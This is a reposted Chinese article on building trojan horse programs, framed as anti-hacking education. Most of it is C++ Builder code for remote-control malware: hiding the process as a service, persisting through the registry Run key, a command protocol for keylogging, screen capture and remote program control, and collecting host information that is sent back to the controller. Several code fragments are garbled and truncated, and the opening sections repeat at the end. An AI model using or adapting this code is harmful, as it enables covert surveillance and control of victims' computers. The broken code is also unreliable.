特洛伊木马程序开发技术
生活随笔
收集整理的這篇文章主要介紹了
特洛伊木马程序开发技术
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
近年來,黑客技術(shù)不斷成熟起來,對網(wǎng)絡(luò)安全造成了極大的威脅,黑客的主要攻擊手段之一,就是使用木馬技術(shù),滲透到對方的主機(jī)系統(tǒng)里,從而實(shí)現(xiàn)對遠(yuǎn)程操作目標(biāo)主機(jī)。 其破壞力之大,是絕不容忽視的,黑客到底是如何制造了這種種具有破壞力的木馬程序呢,下面我對木馬進(jìn)行源代碼級的詳細(xì)的分析,讓我們對木馬的開發(fā)技術(shù)做一次徹底的透視,從了解木馬技術(shù)開始,更加安全的管理好自己的計(jì)算機(jī)。
1、木馬程序的分類
木馬程序技術(shù)發(fā)展至今,已經(jīng)經(jīng)歷了4代,第一代,即是簡單的密碼竊取,發(fā)送等,沒有什么特別之處。第二代木馬,在技術(shù)上有了很大的進(jìn)步,冰河可以說為是國內(nèi)木馬的典型代表之一。第三代木馬在數(shù)據(jù)傳遞技術(shù)上,又做了不小的改進(jìn),出現(xiàn)了ICMP等類型的木馬,利用畸形報(bào)文傳遞數(shù)據(jù),增加了查殺的難度。第四代木馬在進(jìn)程隱藏方面,做了大的改動(dòng),采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù),嵌入DLL線程。或者掛接PSAPI,實(shí)現(xiàn)木馬程序的隱藏,甚至在Windows NT/2000下,都達(dá)到了良好的隱藏效果。相信,第五代木馬很快也會(huì)被編制出來。關(guān)于更詳細(xì)的說明,可以參考ShotGun的文章《揭開木馬的神秘面紗》。
2.木馬程序的隱藏技術(shù)
木馬程序的服務(wù)器端,為了避免被發(fā)現(xiàn),多數(shù)都要進(jìn)行隱藏處理,下面讓我們來看看木馬是如何實(shí)現(xiàn)隱藏的。
說到隱藏,首先得先了解三個(gè)相關(guān)的概念:進(jìn)程,線程和服務(wù)。我簡單的解釋一下。
進(jìn)程:一個(gè)正常的Windows應(yīng)用程序,在運(yùn)行之后,都會(huì)在系統(tǒng)之中產(chǎn)生一個(gè)進(jìn)程,同時(shí),每個(gè)進(jìn)程,分別對應(yīng)了一個(gè)不同的PID(Progress ID, 進(jìn)程標(biāo)識符)這個(gè)進(jìn)程會(huì)被系統(tǒng)分配一個(gè)虛擬的內(nèi)存空間地址段,一切相關(guān)的程序操作,都會(huì)在這個(gè)虛擬的空間中進(jìn)行。
線程:一個(gè)進(jìn)程,可以存在一個(gè)或多個(gè)線程,線程之間同步執(zhí)行多種操作,一般地,線程之間是相互獨(dú)立的,當(dāng)一個(gè)線程發(fā)生錯(cuò)誤的時(shí)候,并不一定會(huì)導(dǎo)致整個(gè)進(jìn)程的崩潰。
服務(wù):一個(gè)進(jìn)程當(dāng)以服務(wù)的方式工作的時(shí)候,它將會(huì)在后臺工作,不會(huì)出現(xiàn)在任務(wù)列表中,但是,在Windows NT/2000下,你仍然可以通過服務(wù)管理器檢查任何的服務(wù)程序是否被啟動(dòng)運(yùn)行。
想要隱藏木馬的服務(wù)器端,可以偽隱藏,也可以是真隱藏。偽隱藏,就是指程序的進(jìn)程仍然存在,只不過是讓他消失在進(jìn)程列表里。真隱藏則是讓程序徹底的消失,不以一個(gè)進(jìn)程或者服務(wù)的方式工作。
偽隱藏的方法,是比較容易實(shí)現(xiàn)的,只要把木馬服務(wù)器端的程序注冊為一個(gè)服務(wù)就可以了,這樣,程序就會(huì)從任務(wù)列表中消失了,因?yàn)橄到y(tǒng)不認(rèn)為他是一個(gè)進(jìn)程,當(dāng)按下Ctrl+Alt+Delete的時(shí)候,也就看不到這個(gè)程序。但是,這種方法只適用于Windows9x的系統(tǒng),對于Windows NT,Windows 2000等,通過服務(wù)管理器,一樣會(huì)發(fā)現(xiàn)你在系統(tǒng)中注冊過的服務(wù)。難道偽隱藏的方法就真的不能用在Windows NT/2000下了嗎?當(dāng)然還有辦法,那就是API的攔截技術(shù),通過建立一個(gè)后臺的系統(tǒng)鉤子,攔截PSAPI的EnumProcessModules等相關(guān)的函數(shù)來實(shí)現(xiàn)對進(jìn)程和服務(wù)的遍歷調(diào)用的控制,當(dāng)檢測到進(jìn)程ID(PID)為木馬程序的服務(wù)器端進(jìn)程的時(shí)候直接跳過,這樣就實(shí)現(xiàn)了進(jìn)程的隱藏,金山詞霸等軟件,就是使用了類似的方法,攔截了TextOutA,TextOutW函數(shù),來截獲屏幕輸出,實(shí)現(xiàn)即時(shí)翻譯的。同樣,這種方法也可以用在進(jìn)程隱藏上。
當(dāng)進(jìn)程為真隱藏的時(shí)候,那么這個(gè)木馬的服務(wù)器部分程序運(yùn)行之后,就不應(yīng)該具備一般進(jìn)程,也不應(yīng)該具備服務(wù)的,也就是說,完全的溶進(jìn)了系統(tǒng)的內(nèi)核。也許你會(huì)覺得奇怪,剛剛不是說一個(gè)應(yīng)用程序運(yùn)行之后,一定會(huì)產(chǎn)生一個(gè)進(jìn)程嗎?的確,所以我們可以不把他做成一個(gè)應(yīng)用程序,而把他做為一個(gè)線程,一個(gè)其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間。而這個(gè)應(yīng)用程序?qū)τ谙到y(tǒng)來說,是一個(gè)絕對安全的程序,這樣,就達(dá)到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑客程序難度的增加。
出于安全考慮,我只給出一種通過注冊服務(wù)程序,實(shí)現(xiàn)進(jìn)程偽隱藏的方法,對于更復(fù)雜,高級的隱藏方法,比如遠(yuǎn)程線程插入其他進(jìn)程的方法,請參閱ShotGun的文章《NT系統(tǒng)下木馬進(jìn)程的隱藏與檢測》。
CODE:
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
DWORD dwVersion = GetVersion(); //取得Windows的版本號
if (dwVersion >= 0x80000000) // Windows 9x隱藏任務(wù)列表
{
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //裝入KERNEL32.DLL
rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess"); //找到RegisterServiceProcess的入口
rsp(NULL,1); //注冊服務(wù)
FreeLibrary(dll); //釋放DLL模塊
}
}
catch (Exception &exception) //處理異常事件
{
//處理異常事件
}
return 0;
}
3、程序的自加載運(yùn)行技術(shù)
讓程序自運(yùn)行的方法比較多,除了最常見的方法:加載程序到啟動(dòng)組,寫程序啟動(dòng)路徑到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,還有很多其他的辦法,據(jù)yagami講,還有幾十種方法之多,比如可以修改Boot.ini,或者通過注冊表里的輸入法鍵值直接掛接啟動(dòng),通過修改Explorer.exe啟動(dòng)參數(shù)等等的方法,真的可以說是防不勝防,下面展示一段通過修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run鍵值來實(shí)現(xiàn)自啟動(dòng)的程序:
自裝載部分:
CODE:
HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if (int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
Close();
}
else
{
HKEY hkey;
unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
int num=0;
char str[20];
DWORD lth=20;
DWORD type;
char strv[255];
DWORDvl=254;
DWORD Suc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
if (strcmp(str,"BGroup")==0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
break;
}
}while(Suc== ERROR_SUCCESS);
RegCloseKey(hkey);
}
其中自裝載部分使用C++ Builder可以這樣寫,會(huì)比較簡化:
CODE:
TRegistry & regKey = *new TRegistry();
regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
if(!regKey.ValueExists("Interbase Server"))
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");
}
regKey.CloseKey();
delete ?Key;
4、木馬程序的建立連接的隱藏
木馬程序的數(shù)據(jù)傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數(shù)據(jù)的方法了,通常是利用Winsock與目標(biāo)機(jī)的指定端口建立起連接,使用send和recv等API進(jìn)行數(shù)據(jù)的傳遞,但是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令行狀態(tài)下使用netstat命令,就可以查看到當(dāng)前的活動(dòng)TCP,UDP連接。
C:\Documents and Settings\bigball>netstat -n
但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并端口法,也就是說,使用特殊的手段,在一個(gè)端口上同時(shí)綁定兩個(gè)TCP或者UDP連接,這聽起來不可思議,但事實(shí)上確實(shí)如此,而且已經(jīng)出現(xiàn)了使用類似方法的程序,通過把自己的木馬端口綁定于特定的服務(wù)端口之上,(比如80端口的HTTP,誰懷疑他會(huì)是木馬程序呢?)從而達(dá)到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)協(xié)議進(jìn)行數(shù)據(jù)的發(fā)送,原理是修改ICMP頭的構(gòu)造,加入木馬的控制字段,這樣的木馬,具備很多新的特點(diǎn),不占用端口的特點(diǎn),使用戶難以發(fā)覺,同時(shí),使用ICMP可以穿透一些防火墻,從而增加了防范的難度。之所以具有這種特點(diǎn),是因?yàn)镮CMP不同于TCP,UDP,ICMP工作于網(wǎng)絡(luò)的應(yīng)用層不使用TCP協(xié)議。
5、發(fā)送數(shù)據(jù)的組織方法
關(guān)于數(shù)據(jù)的組織方法,可以說是數(shù)學(xué)上的問題。關(guān)鍵在于傳遞數(shù)據(jù)的可靠性,壓縮性,以及高效行。木馬程序,為了避免被發(fā)現(xiàn),必須很好的控制數(shù)據(jù)傳輸量,一個(gè)編制較好的木馬,往往有自己的一套傳輸協(xié)議,那么程序上,到底是如何組織實(shí)現(xiàn)的呢?下面,我舉例包裝一些協(xié)議:
CODE:
typedef struct{ //定義消息結(jié)構(gòu)
//char ip[20];
char Type;//消息種類
char Password[20];//密碼
int CNum;//消息操作號
//int Length;//消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對話框數(shù)據(jù)包定義:Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型:
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發(fā)送完成事件
//消息結(jié)構(gòu)
typedef struct{
char Name[20];//對話框標(biāo)題
char Msg[256];//對話框消息內(nèi)容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度
//------------------------------------------
//聊天數(shù)據(jù)包定義:Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結(jié)束事件
#define MsgChatReceived 16//確認(rèn)對話內(nèi)容收到
//消息結(jié)構(gòu)
typedef struct{
char ClientName[20];//Client自定義的名稱
char Msg[256];//發(fā)送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度
//------------------------------------------
//重啟數(shù)據(jù)包定義:Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgReBoot 15//重啟事件
//------------------------------------------
//目錄結(jié)構(gòu)請求數(shù)據(jù)包定義:Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定義消息結(jié)構(gòu)
char SType;//消息種類
char SPassword[20];//密碼
//int SNum; //消息操作號
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp請求消息
#define MSGCopyWindow 26
//-------------------------
//鼠標(biāo)指針隱藏和顯示控制
//-------------------------
#define MsgSetMouseStat 27//設(shè)置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任務(wù)欄隱藏和顯示控制
//-------------------------
#define MsgSetTaskBarStat 29//設(shè)置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到機(jī)器名
//-------------------------
#define MsgGetNetBiosName 31//取請求
#define MsgNetBiosName 32//回送機(jī)器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//關(guān)閉進(jìn)程變更!
//-------------------------
#define MsgSetProgramClose 33//關(guān)閉請求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要關(guān)閉的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打開進(jìn)程變更!
//-------------------------
#define MsgSetProgramOpen 20//打開請求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序的名字
bool ProgramShow;//前臺運(yùn)行或后臺運(yùn)行程序(隱藏運(yùn)行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)
上面一段定義,使用了TCP和UDP兩種協(xié)議目的就是為了減少TCP連接的幾率,這樣所消耗的系統(tǒng)資源就會(huì)比較少,不容易讓目標(biāo)機(jī)察覺。很多木馬程序中,都有像上面定義中類似的密碼定義,目地是為了防止非真實(shí)客戶機(jī)的連接請求。SNum為消息操作號,它的作用是為了效驗(yàn)數(shù)據(jù)是否是發(fā)送過的,經(jīng)過分析而知,我們熟悉的OICQ也正是使用了這一辦法來校驗(yàn)消息的。
數(shù)據(jù)協(xié)議組織好,還有一步工作,就是數(shù)據(jù)的打包發(fā)送,一般的方法是把全部數(shù)據(jù)壓為一個(gè)VOID類型的數(shù)據(jù)流,然后發(fā)送:
CODE:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機(jī)器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
?
當(dāng)服務(wù)器端收到數(shù)據(jù)后,首先要做的工作是解包還原VOID流為結(jié)構(gòu)化的協(xié)議,這里同樣給出事例代碼:
CODE:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然后回傳給客戶機(jī),由于畫面的數(shù)據(jù)量很大所以,很多木馬程序都是在畫面改變的時(shí)候才回傳改變部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:
CODE:
#define MAXXCount 10 //屏幕X方向最多分割塊數(shù)
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測點(diǎn)最大個(gè)數(shù)
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后執(zhí)行:
//另外:接收到的數(shù)據(jù)包中分析出 Dnum ,Qlity
//Dnum:偏移觀測點(diǎn)數(shù)量
//Qlity:圖象要求質(zhì)量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只執(zhí)行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數(shù)功能:掃描改變的屏幕區(qū)域,并切經(jīng)過優(yōu)化處理,最后發(fā)送這些區(qū)域數(shù)據(jù)
//DNum: 偏移量 Qlity:圖象質(zhì)量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
這個(gè)程序把屏幕畫面切分為了多個(gè)部分,并存儲(chǔ)畫面為JPG格式,這樣壓縮率就變的十分的高了。通過這種方法壓縮處理過的數(shù)據(jù),變得十分小,甚至在屏幕沒有改變的情況下,傳送的數(shù)據(jù)量為0,在這里不做過多分析了,有興趣的朋友,可以多看看。
6、目標(biāo)機(jī)器情況的獲取
相對于以上幾部分來說,這里實(shí)現(xiàn)的方法簡單多了,這一段內(nèi)容會(huì)比較輕松,一般獲取機(jī)器情況的方法是調(diào)用相關(guān)的API,這一點(diǎn)上是和應(yīng)用程序很相像的。
CODE:
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//獲得CPU型號
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理內(nèi)存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用內(nèi)存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盤、1—不存在、2—可移動(dòng)磁盤、3—固定磁盤、4—網(wǎng)絡(luò)磁盤、
//5—CD-ROM、6—內(nèi)存虛擬盤
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++){//循環(huán)檢測A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁盤類型
if(type==0){
cs="未知類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移動(dòng)類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="網(wǎng)絡(luò)映射磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驅(qū):"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="內(nèi)存虛擬磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) {
cs=String(name)+"盤卷標(biāo)為:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盤序號為:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //獲得返回參數(shù)
totalspace=int(cluster)*byte*sector/1024/1024; //計(jì)算總?cè)萘?br /> freespace=int(free)*byte*sector/1024/1024; //計(jì)算可用空間
cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalspace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(freespace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形設(shè)備信息
mididevice=(int)midiOutGetNumDevs(); // MIDI設(shè)備信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="當(dāng)前波形設(shè)備:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="當(dāng)前MIDI設(shè)備:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="當(dāng)前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //計(jì)算色彩的梯度數(shù)
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //計(jì)算色深
AnsiString sss;
sss=bpp;
cs="當(dāng)前色深為:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相關(guān)的系統(tǒng)信息都取到了。
7、服務(wù)器端程序的包裝與加密
用過冰河的人都知道,冰河允許用戶自定義端口號。這樣做的目的,是為了防止被反黑程序檢測出來,這種功能是如何實(shí)現(xiàn)的呢?
首先讓我們來做一個(gè)實(shí)驗(yàn):
進(jìn)入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一個(gè)文本文件Test.Txt,其內(nèi)容為“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)運(yùn)行Server.Exe
怎么樣?是不是發(fā)現(xiàn)Server.Exe仍然可以運(yùn)行呢?木馬服務(wù)器端自定制的奧秘就在這里:首先生成了一個(gè)EXE文件,這個(gè)EXE文件里有一項(xiàng)讀取自身進(jìn)程內(nèi)容的操作,讀取時(shí),文件的指針直接指向進(jìn)程的末尾,從末尾的倒數(shù)N個(gè)字節(jié)處取得用戶定制的信息,比如端口號等,然后傳遞給程序的相關(guān)部分進(jìn)行處理。這里不給出相關(guān)的代碼部分,有興趣的朋友請參考一些文件打包程序代碼,它所使用的技術(shù)是大同小異的。
8、總結(jié)
以上講的幾點(diǎn)技術(shù),基本上包括了所有第二代木馬的特點(diǎn),個(gè)別的木馬程序支持服務(wù)器列表,宏傳播等,實(shí)現(xiàn)上大同小異。隨著技術(shù)的不斷更新和發(fā)展,相信離第五代木馬出現(xiàn)的日子已經(jīng)不遠(yuǎn)了,黑與反黑,如此往復(fù)的的進(jìn)行下去,看來反黑工作要走的路還很長,從根本上防止木馬,也只有從我們自身對木馬的認(rèn)識開始,希望這篇文章在您閱讀之后能帶給您一些反黑技術(shù)上的幫助
1、木馬程序的分類
木馬程序技術(shù)發(fā)展至今,已經(jīng)經(jīng)歷了4代,第一代,即是簡單的密碼竊取,發(fā)送等,沒有什么特別之處。第二代木馬,在技術(shù)上有了很大的進(jìn)步,冰河可以說為是國內(nèi)木馬的典型代表之一。第三代木馬在數(shù)據(jù)傳遞技術(shù)上,又做了不小的改進(jìn),出現(xiàn)了ICMP等類型的木馬,利用畸形報(bào)文傳遞數(shù)據(jù),增加了查殺的難度。第四代木馬在進(jìn)程隱藏方面,做了大的改動(dòng),采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù),嵌入DLL線程。或者掛接PSAPI,實(shí)現(xiàn)木馬程序的隱藏,甚至在Windows NT/2000下,都達(dá)到了良好的隱藏效果。相信,第五代木馬很快也會(huì)被編制出來。關(guān)于更詳細(xì)的說明,可以參考ShotGun的文章《揭開木馬的神秘面紗》。
2.木馬程序的隱藏技術(shù)
木馬程序的服務(wù)器端,為了避免被發(fā)現(xiàn),多數(shù)都要進(jìn)行隱藏處理,下面讓我們來看看木馬是如何實(shí)現(xiàn)隱藏的。
說到隱藏,首先得先了解三個(gè)相關(guān)的概念:進(jìn)程,線程和服務(wù)。我簡單的解釋一下。
進(jìn)程:一個(gè)正常的Windows應(yīng)用程序,在運(yùn)行之后,都會(huì)在系統(tǒng)之中產(chǎn)生一個(gè)進(jìn)程,同時(shí),每個(gè)進(jìn)程,分別對應(yīng)了一個(gè)不同的PID(Progress ID, 進(jìn)程標(biāo)識符)這個(gè)進(jìn)程會(huì)被系統(tǒng)分配一個(gè)虛擬的內(nèi)存空間地址段,一切相關(guān)的程序操作,都會(huì)在這個(gè)虛擬的空間中進(jìn)行。
